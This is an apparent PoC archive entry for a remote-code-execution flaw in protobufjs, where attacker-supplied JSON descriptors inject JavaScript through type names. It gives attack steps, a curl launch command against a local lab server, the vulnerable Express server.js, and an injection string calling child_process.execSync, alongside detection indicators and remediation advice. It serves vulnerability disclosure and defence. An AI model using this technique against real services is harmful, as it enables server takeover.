PoC Archive PoC Archive
Critical CVE-2026-41242 unpatched

Node.js protobufjs Dynamic Type Compilation RCE (CVE-2026-41242)

by 4chech · 2026-07-05

Severity
Critical
CVE
CVE-2026-41242
Category
web
Affected product
Node.js application using protobufjs (Root.fromJSON + dynamic decode)
Affected versions
protobufjs ^7.5.4 (as pinned in the demo app)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researcher4chech
CVE / AdvisoryCVE-2026-41242
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusPoC
Tagsnodejs, protobufjs, rce, deserialization, express, code-injection, javascript
RelatedN/A

Affected Target

FieldValue
Software / SystemNode.js application using protobufjs (Root.fromJSON + dynamic decode)
Versions Affectedprotobufjs ^7.5.4 (as pinned in the demo app)
Language / PlatformNode.js / Express
Authentication RequiredNo
Network Access RequiredYes

Summary

The demo Express service accepts a JSON protobuf descriptor from an HTTP request body and passes it straight to protobuf.Root.fromJSON(), then looks up and decodes a message type from that attacker-controlled descriptor. Because protobufjs compiles field/type names into generated JavaScript for performance, a maliciously crafted type name can break out of the generated code context and inject arbitrary JavaScript that executes when the message is decoded. The included payload.json embeds a type name containing a closing function body plus process.mainModule.require('child_process').execSync('id'), so simply decoding a message of that type runs an OS command. This is a self-contained “trusted input assumed, attacker input received” deserialization RCE.


Vulnerability Details

Root Cause

protobufjs builds its runtime type/codec objects from field and type names taken from the JSON descriptor without validating that they are safe JavaScript identifiers, allowing a crafted name to inject and execute arbitrary code when the type is compiled/decoded.

Attack Vector

  1. Attacker sends a POST request to /create_user with a JSON body representing a protobuf schema (descriptor).
  2. The crafted descriptor defines a field/type whose “name” is actually a JavaScript payload (e.g. closing a generated function and defining a new one that calls child_process.execSync).
  3. The server calls protobuf.Root.fromJSON(descriptor) and looks up the type, then calls .decode() on sample bytes.
  4. During compilation/decoding, the injected JavaScript executes in the Node.js process, running the attacker’s OS command.

Impact

Remote code execution in the context of the Node.js server process for any application that builds protobuf types/schemas from untrusted, request-supplied JSON.


Environment / Lab Setup

Target:   Node.js + Express app (server.js) using protobufjs ^7.5.4, listening on port 3000
Attacker: curl / any HTTP client to POST payload.json to /create_user

Proof of Concept

PoC Script

See server.js and payload.json in this folder.

1
2
3
4
5
npm install
node server.js
curl -X POST http://localhost:3000/create_user \
  -H "Content-Type: application/json" \
  --data @payload.json

server.js implements the vulnerable /create_user endpoint that builds a protobuf Root from the request body and decodes a fixed byte buffer against it; payload.json supplies a User/Data type descriptor whose type name is a crafted JavaScript fragment that, once compiled by protobufjs, executes child_process.execSync('id') on the server as soon as the message is decoded.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected child processes spawned by the Node.js application
  • Protobuf descriptor payloads in request logs containing JavaScript syntax (function, require, process.mainModule) inside type/field names
  • Anomalous execSync/exec calls surfaced by runtime application security monitoring

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor protobufjs advisories; never build Root.fromJSON() schemas from untrusted, request-supplied input
Interim mitigationValidate/allowlist protobuf schema definitions server-side, run schema compilation in a sandboxed/isolated process, and strip non-identifier characters from field/type names before compilation

References


Notes

Mirrored from https://github.com/4chech/CVE-2026-41242 on 2026-07-05.

server.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// module connect
const express = require('express');
const protobuf = require('protobufjs');


const app = express();
const port = 3000;


app.use(express.json());


app.post('/create_user', (request, response) => {
    const descriptor = request.body; // JSON-дескриптор из тела запроса
    console.log('[*] Received descriptor:', JSON.stringify(descriptor));

    try {
        const root = protobuf.Root.fromJSON(descriptor);
        const UserType = root.lookupType('User');
        const userBytes = Buffer.from([0x08, 0x01, 0x12, 0x07, 0x0a, 0x05, 0x68, 0x65, 0x6c, 0x6c, 0x6f]);
        try {
            const user = UserType.decode(userBytes); // <- code execution
        }
        catch (e) { }

    } catch (err) {
        console.error('[!] Error:', err.message);
        response.status(500).json({ status: 'error', message: err.message });
    }
})


app.listen(port, () => {
    console.log('[*] Server listening on port ${port}');
});